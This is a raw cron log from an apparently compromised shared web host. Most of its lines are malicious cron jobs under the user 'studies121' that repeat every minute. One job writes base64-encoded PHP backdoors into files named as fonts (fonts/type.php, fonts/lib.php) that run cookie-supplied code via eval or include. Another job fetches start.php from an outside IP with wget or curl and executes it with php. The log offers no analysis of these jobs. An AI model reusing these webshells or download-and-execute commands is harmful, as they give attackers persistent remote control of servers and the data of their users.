Sep  7 19:56:01 ip-184-168-122-23 CROND[10024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:56:01 ip-184-168-122-23 CROND[10025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:57:01 ip-184-168-122-23 CROND[10229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:57:01 ip-184-168-122-23 CROND[10230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:57:01 ip-184-168-122-23 CROND[10231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:57:01 ip-184-168-122-23 CROND[10232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:58:01 ip-184-168-122-23 CROND[10310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:58:01 ip-184-168-122-23 CROND[10309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:58:01 ip-184-168-122-23 CROND[10312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:58:01 ip-184-168-122-23 CROND[10311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:58:01 ip-184-168-122-23 CROND[10313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:59:01 ip-184-168-122-23 CROND[10405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:59:01 ip-184-168-122-23 CROND[10407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:59:01 ip-184-168-122-23 CROND[10406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:59:01 ip-184-168-122-23 CROND[10409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:00:01 ip-184-168-122-23 CROND[10502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:00:01 ip-184-168-122-23 CROND[10508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:00:01 ip-184-168-122-23 CROND[10504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:00:01 ip-184-168-122-23 CROND[10510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:00:01 ip-184-168-122-23 CROND[10506]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 20:00:01 ip-184-168-122-23 CROND[10507]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:00:01 ip-184-168-122-23 CROND[10511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:00:01 ip-184-168-122-23 CROND[10505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:00:01 ip-184-168-122-23 CROND[10509]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:01:01 ip-184-168-122-23 CROND[10612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:01:01 ip-184-168-122-23 CROND[10614]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 20:01:01 ip-184-168-122-23 CROND[10615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:01:01 ip-184-168-122-23 CROND[10618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:01:01 ip-184-168-122-23 CROND[10619]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 20:01:01 ip-184-168-122-23 CROND[10616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10614]: starting 0anacron
Sep  7 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10633]: finished 0anacron
Sep  7 20:02:01 ip-184-168-122-23 CROND[10710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:02:01 ip-184-168-122-23 CROND[10711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:02:01 ip-184-168-122-23 CROND[10712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:02:01 ip-184-168-122-23 CROND[10714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:02:01 ip-184-168-122-23 CROND[10715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:03:01 ip-184-168-122-23 CROND[10811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:03:01 ip-184-168-122-23 CROND[10812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:03:01 ip-184-168-122-23 CROND[10813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:03:01 ip-184-168-122-23 CROND[10815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:04:01 ip-184-168-122-23 CROND[10915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:04:01 ip-184-168-122-23 CROND[10918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:04:01 ip-184-168-122-23 CROND[10917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:04:01 ip-184-168-122-23 CROND[10921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:04:01 ip-184-168-122-23 CROND[10923]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:05:01 ip-184-168-122-23 CROND[11073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:05:01 ip-184-168-122-23 CROND[11074]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 20:05:01 ip-184-168-122-23 CROND[11075]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:05:01 ip-184-168-122-23 CROND[11076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:05:01 ip-184-168-122-23 CROND[11077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:05:01 ip-184-168-122-23 CROND[11078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:05:01 ip-184-168-122-23 CROND[11081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:06:01 ip-184-168-122-23 CROND[11295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:06:01 ip-184-168-122-23 CROND[11297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:06:01 ip-184-168-122-23 CROND[11299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:06:01 ip-184-168-122-23 CROND[11301]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:06:01 ip-184-168-122-23 CROND[11303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:07:01 ip-184-168-122-23 CROND[11384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:07:01 ip-184-168-122-23 CROND[11385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:07:01 ip-184-168-122-23 CROND[11387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:07:01 ip-184-168-122-23 CROND[11386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:08:01 ip-184-168-122-23 CROND[11489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:08:01 ip-184-168-122-23 CROND[11490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:08:01 ip-184-168-122-23 CROND[11492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:08:01 ip-184-168-122-23 CROND[11491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
